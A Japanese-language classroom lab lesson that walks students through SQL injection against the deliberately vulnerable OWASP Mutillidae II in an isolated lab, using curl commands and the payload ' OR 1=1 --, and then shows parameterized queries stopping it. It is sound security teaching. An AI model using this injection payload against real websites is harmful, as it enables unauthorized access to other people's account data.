このレッスンでやること
ウェブサイトは、SQL という言葉で書いた質問を使って、データベースから情報をもらいます。もしサイトが、あなたの入力をそのまま質問に貼りつけてしまうと、あなたが質問を書き換えられます。これを SQL インジェクションといい、ウェブで最もよくある弱点のひとつです。Mutillidae は、わざとこの弱点を持たせて作られたサイトです。まず1つのアカウントを検索します。次に名前を書き換えて、サイトにすべてのアカウントを出させます。最後にセキュリティレベルを上げて、もう一度試します。
守るべき約束
注意
このラボでは、わざと危険に作られたウェブサイトが動きます。攻撃していいのは、このサイトだけです。あなた専用のコピーで、インターネットへの出口もないので、ほかのだれにも影響しません。自分のものではないサイトで、これらを試してはいけません。英国のコンピューター不正使用法(Computer Misuse Act 1990)では犯罪にあたります。
はじめる前に
メモ
このレッスンの上にあるバーのラボを起動を押して、動いていると表示されるまで待ってください。ウェブサイトは www というサービスで、ターミナルはその名前でつながります。ブラウザーで開くときは、バーの OWASP Mutillidae II のリンクを使います。下の実行ボタンを押すと、コマンドが順番に、同じセッションのラボのターミナルへ入力されます。実行の様子を見たり、自分でコマンドを打ったりするときは、バーのターミナルを開く(新しいタブ)を押します。
1. ログインして、1つのアカウントを検索する
1つ目のコマンドは、admin としてログインし、そのログイン情報を jar というファイルに保存します。ブラウザーが Cookie を保存するのと同じしくみです。302 と、AU1 で終わるアドレスが表示されます。サイトはログインを受け付けて、次のページへ移したのです。2つ目のコマンドは、ユーザー検索に admin という名前を渡し、見つかった件数だけを表示します。1 records found と出ます。
curl -s -c jar -d "username=admin&password=adminpass&login-php-submit-button=Login" -o /dev/null -w "%{http_code} %{redirect_url}\n" "http://www/index.php?page=login.php"ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=admin" --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
2. 質問を書き換える
今度は、名前が ' OR 1=1 -- です。' でサイトの質問を途中で閉じ、OR 1=1 で「いつでも正しい」条件を足し、-- でデータベースにその後ろを無視させています。答えは 40 records found です。1つだけ頼んだのに、サイトにあるすべてのアカウントが返ってきました。サイトは、あなたが入力したものをそのまま信じてしまったのです。
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=' OR 1=1 -- " --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
3. セキュリティレベルを上げて、もう一度試す
サイトのメニューにある Toggle Security(セキュリティの切り替え)を押すたびに、レベルが 0 から 1、次に 5 へと進みます。このコマンドは、それを2回押すので、レベルは 5 になります。ページのタイトルの横に、そのレベルが表示されます。2つ目のコマンドは、手順2とまったく同じインジェクションですが、今度は 0 records found と答えます。レベル 5 では、サイトはあなたの入力を質問とは別に送ります。だから入力は、ただの値にしかならず、質問の一部にはなれません。これをパラメーター化クエリといい、ウェブサイトがこの攻撃を防ぐ方法です。
curl -s -b jar -c jar -L -o /dev/null -o /dev/null "http://www/index.php?do=toggle-security&page=home.php" "http://www/index.php?do=toggle-security&page=home.php"ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=' OR 1=1 -- " --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"ここでは表示のみで、実行されません。無料アカウントを作成すると、実行ボタンで自分のラボのターミナルに入力できます。
先生へ
ヒント
このレッスンは、ラボで進めるレッスンの小さな例です。手順と実行ボタンがレッスンで、ラボは生徒一人ひとりのコピーです。Mutillidae には、クロスサイトスクリプティングから LDAP インジェクションまで、まだ何十もの弱点があるので、同じラボで単元ひとつ分の授業ができます。自動採点は行いません。各演習のスクリーンショットと、コードのどこが悪かったかを説明した1文を提出させてください。自分のモジュールにコピーして変更するか、レッスンビルダーのラボメニューから最初から作ってください。